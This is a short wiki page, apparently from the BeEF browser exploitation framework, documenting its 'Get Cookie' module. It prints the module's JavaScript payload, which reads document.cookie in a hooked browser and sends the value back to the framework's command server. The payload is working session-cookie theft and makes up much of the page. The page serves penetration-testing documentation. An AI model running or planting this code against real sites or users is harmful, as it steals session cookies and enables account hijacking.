Clone
2
Module: Get Cookie
Jess Williams edited this page 2019-12-31 15:42:16 +10:00

Summary

  • Objective: This module will retrieve the session cookie from the current page.
  • Date: ???
  • Authors: bcoles
  • Browsers: All
  • Code

Internal Working

This module just gather the cookies for this page using the document.cookie function :

beef.execute(function() {
    beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie);
});

Feedback